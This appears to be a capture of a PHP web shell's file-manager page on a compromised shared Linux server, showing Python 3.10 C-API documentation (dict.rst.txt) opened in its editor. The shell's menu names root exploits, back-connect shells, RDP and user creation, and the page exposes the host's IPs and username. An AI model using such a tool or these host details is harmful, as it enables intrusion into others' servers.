Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3.10 /
html /
_sources /
c-api /
[ HOME SHELL ]
Name
Size
Permission
Action
abstract.rst.txt
723
B
-rw-r--r--
allocation.rst.txt
2.58
KB
-rw-r--r--
apiabiversion.rst.txt
2.31
KB
-rw-r--r--
arg.rst.txt
30.78
KB
-rw-r--r--
bool.rst.txt
1.2
KB
-rw-r--r--
buffer.rst.txt
22.36
KB
-rw-r--r--
bytearray.rst.txt
2.2
KB
-rw-r--r--
bytes.rst.txt
9.2
KB
-rw-r--r--
call.rst.txt
16.56
KB
-rw-r--r--
capsule.rst.txt
5.68
KB
-rw-r--r--
cell.rst.txt
1.94
KB
-rw-r--r--
code.rst.txt
2.56
KB
-rw-r--r--
codec.rst.txt
5.01
KB
-rw-r--r--
complex.rst.txt
4.13
KB
-rw-r--r--
concrete.rst.txt
2.03
KB
-rw-r--r--
contextvars.rst.txt
4.11
KB
-rw-r--r--
conversion.rst.txt
5.39
KB
-rw-r--r--
coro.rst.txt
862
B
-rw-r--r--
datetime.rst.txt
8.46
KB
-rw-r--r--
descriptor.rst.txt
1.08
KB
-rw-r--r--
dict.rst.txt
8.51
KB
-rw-r--r--
exceptions.rst.txt
49.24
KB
-rw-r--r--
file.rst.txt
4.25
KB
-rw-r--r--
float.rst.txt
2.27
KB
-rw-r--r--
function.rst.txt
3.37
KB
-rw-r--r--
gcsupport.rst.txt
8.52
KB
-rw-r--r--
gen.rst.txt
1.35
KB
-rw-r--r--
import.rst.txt
12.61
KB
-rw-r--r--
index.rst.txt
632
B
-rw-r--r--
init.rst.txt
69.48
KB
-rw-r--r--
init_config.rst.txt
48.17
KB
-rw-r--r--
intro.rst.txt
32.03
KB
-rw-r--r--
iter.rst.txt
1.98
KB
-rw-r--r--
iterator.rst.txt
1.67
KB
-rw-r--r--
list.rst.txt
4.61
KB
-rw-r--r--
long.rst.txt
10.72
KB
-rw-r--r--
mapping.rst.txt
3.47
KB
-rw-r--r--
marshal.rst.txt
3.71
KB
-rw-r--r--
memory.rst.txt
29.92
KB
-rw-r--r--
memoryview.rst.txt
2.32
KB
-rw-r--r--
method.rst.txt
2.71
KB
-rw-r--r--
module.rst.txt
22.8
KB
-rw-r--r--
none.rst.txt
736
B
-rw-r--r--
number.rst.txt
10.83
KB
-rw-r--r--
objbuffer.rst.txt
2.39
KB
-rw-r--r--
object.rst.txt
15.14
KB
-rw-r--r--
objimpl.rst.txt
300
B
-rw-r--r--
refcounting.rst.txt
4.18
KB
-rw-r--r--
reflection.rst.txt
1.96
KB
-rw-r--r--
sequence.rst.txt
6.62
KB
-rw-r--r--
set.rst.txt
6.22
KB
-rw-r--r--
slice.rst.txt
4.47
KB
-rw-r--r--
stable.rst.txt
6.44
KB
-rw-r--r--
structures.rst.txt
18.59
KB
-rw-r--r--
sys.rst.txt
16.47
KB
-rw-r--r--
tuple.rst.txt
8.45
KB
-rw-r--r--
type.rst.txt
9.86
KB
-rw-r--r--
typehints.rst.txt
1.67
KB
-rw-r--r--
typeobj.rst.txt
126.97
KB
-rw-r--r--
unicode.rst.txt
67.91
KB
-rw-r--r--
utilities.rst.txt
410
B
-rw-r--r--
veryhigh.rst.txt
15.57
KB
-rw-r--r--
weakref.rst.txt
3.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dict.rst.txt
.. highlight:: c .. _dictobjects: Dictionary Objects ------------------ .. index:: object: dictionary .. c:type:: PyDictObject This subtype of :c:type:`PyObject` represents a Python dictionary object. .. c:var:: PyTypeObject PyDict_Type This instance of :c:type:`PyTypeObject` represents the Python dictionary type. This is the same object as :class:`dict` in the Python layer. .. c:function:: int PyDict_Check(PyObject *p) Return true if *p* is a dict object or an instance of a subtype of the dict type. This function always succeeds. .. c:function:: int PyDict_CheckExact(PyObject *p) Return true if *p* is a dict object, but not an instance of a subtype of the dict type. This function always succeeds. .. c:function:: PyObject* PyDict_New() Return a new empty dictionary, or ``NULL`` on failure. .. c:function:: PyObject* PyDictProxy_New(PyObject *mapping) Return a :class:`types.MappingProxyType` object for a mapping which enforces read-only behavior. This is normally used to create a view to prevent modification of the dictionary for non-dynamic class types. .. c:function:: void PyDict_Clear(PyObject *p) Empty an existing dictionary of all key-value pairs. .. c:function:: int PyDict_Contains(PyObject *p, PyObject *key) Determine if dictionary *p* contains *key*. If an item in *p* is matches *key*, return ``1``, otherwise return ``0``. On error, return ``-1``. This is equivalent to the Python expression ``key in p``. .. c:function:: PyObject* PyDict_Copy(PyObject *p) Return a new dictionary that contains the same key-value pairs as *p*. .. c:function:: int PyDict_SetItem(PyObject *p, PyObject *key, PyObject *val) Insert *val* into the dictionary *p* with a key of *key*. *key* must be :term:`hashable`; if it isn't, :exc:`TypeError` will be raised. Return ``0`` on success or ``-1`` on failure. This function *does not* steal a reference to *val*. .. c:function:: int PyDict_SetItemString(PyObject *p, const char *key, PyObject *val) .. index:: single: PyUnicode_FromString() Insert *val* into the dictionary *p* using *key* as a key. *key* should be a :c:expr:`const char*`. The key object is created using ``PyUnicode_FromString(key)``. Return ``0`` on success or ``-1`` on failure. This function *does not* steal a reference to *val*. .. c:function:: int PyDict_DelItem(PyObject *p, PyObject *key) Remove the entry in dictionary *p* with key *key*. *key* must be :term:`hashable`; if it isn't, :exc:`TypeError` is raised. If *key* is not in the dictionary, :exc:`KeyError` is raised. Return ``0`` on success or ``-1`` on failure. .. c:function:: int PyDict_DelItemString(PyObject *p, const char *key) Remove the entry in dictionary *p* which has a key specified by the string *key*. If *key* is not in the dictionary, :exc:`KeyError` is raised. Return ``0`` on success or ``-1`` on failure. .. c:function:: PyObject* PyDict_GetItem(PyObject *p, PyObject *key) Return the object from dictionary *p* which has a key *key*. Return ``NULL`` if the key *key* is not present, but *without* setting an exception. Note that exceptions which occur while calling :meth:`__hash__` and :meth:`__eq__` methods will get suppressed. To get error reporting use :c:func:`PyDict_GetItemWithError()` instead. .. versionchanged:: 3.10 Calling this API without :term:`GIL` held had been allowed for historical reason. It is no longer allowed. .. c:function:: PyObject* PyDict_GetItemWithError(PyObject *p, PyObject *key) Variant of :c:func:`PyDict_GetItem` that does not suppress exceptions. Return ``NULL`` **with** an exception set if an exception occurred. Return ``NULL`` **without** an exception set if the key wasn't present. .. c:function:: PyObject* PyDict_GetItemString(PyObject *p, const char *key) This is the same as :c:func:`PyDict_GetItem`, but *key* is specified as a :c:expr:`const char*`, rather than a :c:expr:`PyObject*`. Note that exceptions which occur while calling :meth:`__hash__` and :meth:`__eq__` methods and creating a temporary string object will get suppressed. To get error reporting use :c:func:`PyDict_GetItemWithError()` instead. .. c:function:: PyObject* PyDict_SetDefault(PyObject *p, PyObject *key, PyObject *defaultobj) This is the same as the Python-level :meth:`dict.setdefault`. If present, it returns the value corresponding to *key* from the dictionary *p*. If the key is not in the dict, it is inserted with value *defaultobj* and *defaultobj* is returned. This function evaluates the hash function of *key* only once, instead of evaluating it independently for the lookup and the insertion. .. versionadded:: 3.4 .. c:function:: PyObject* PyDict_Items(PyObject *p) Return a :c:type:`PyListObject` containing all the items from the dictionary. .. c:function:: PyObject* PyDict_Keys(PyObject *p) Return a :c:type:`PyListObject` containing all the keys from the dictionary. .. c:function:: PyObject* PyDict_Values(PyObject *p) Return a :c:type:`PyListObject` containing all the values from the dictionary *p*. .. c:function:: Py_ssize_t PyDict_Size(PyObject *p) .. index:: builtin: len Return the number of items in the dictionary. This is equivalent to ``len(p)`` on a dictionary. .. c:function:: int PyDict_Next(PyObject *p, Py_ssize_t *ppos, PyObject **pkey, PyObject **pvalue) Iterate over all key-value pairs in the dictionary *p*. The :c:type:`Py_ssize_t` referred to by *ppos* must be initialized to ``0`` prior to the first call to this function to start the iteration; the function returns true for each pair in the dictionary, and false once all pairs have been reported. The parameters *pkey* and *pvalue* should either point to :c:expr:`PyObject*` variables that will be filled in with each key and value, respectively, or may be ``NULL``. Any references returned through them are borrowed. *ppos* should not be altered during iteration. Its value represents offsets within the internal dictionary structure, and since the structure is sparse, the offsets are not consecutive. For example:: PyObject *key, *value; Py_ssize_t pos = 0; while (PyDict_Next(self->dict, &pos, &key, &value)) { /* do something interesting with the values... */ ... } The dictionary *p* should not be mutated during iteration. It is safe to modify the values of the keys as you iterate over the dictionary, but only so long as the set of keys does not change. For example:: PyObject *key, *value; Py_ssize_t pos = 0; while (PyDict_Next(self->dict, &pos, &key, &value)) { long i = PyLong_AsLong(value); if (i == -1 && PyErr_Occurred()) { return -1; } PyObject *o = PyLong_FromLong(i + 1); if (o == NULL) return -1; if (PyDict_SetItem(self->dict, key, o) < 0) { Py_DECREF(o); return -1; } Py_DECREF(o); } .. c:function:: int PyDict_Merge(PyObject *a, PyObject *b, int override) Iterate over mapping object *b* adding key-value pairs to dictionary *a*. *b* may be a dictionary, or any object supporting :c:func:`PyMapping_Keys` and :c:func:`PyObject_GetItem`. If *override* is true, existing pairs in *a* will be replaced if a matching key is found in *b*, otherwise pairs will only be added if there is not a matching key in *a*. Return ``0`` on success or ``-1`` if an exception was raised. .. c:function:: int PyDict_Update(PyObject *a, PyObject *b) This is the same as ``PyDict_Merge(a, b, 1)`` in C, and is similar to ``a.update(b)`` in Python except that :c:func:`PyDict_Update` doesn't fall back to the iterating over a sequence of key value pairs if the second argument has no "keys" attribute. Return ``0`` on success or ``-1`` if an exception was raised. .. c:function:: int PyDict_MergeFromSeq2(PyObject *a, PyObject *seq2, int override) Update or merge into dictionary *a*, from the key-value pairs in *seq2*. *seq2* must be an iterable object producing iterable objects of length 2, viewed as key-value pairs. In case of duplicate keys, the last wins if *override* is true, else the first wins. Return ``0`` on success or ``-1`` if an exception was raised. Equivalent Python (except for the return value):: def PyDict_MergeFromSeq2(a, seq2, override): for key, value in seq2: if override or key not in a: a[key] = value
Close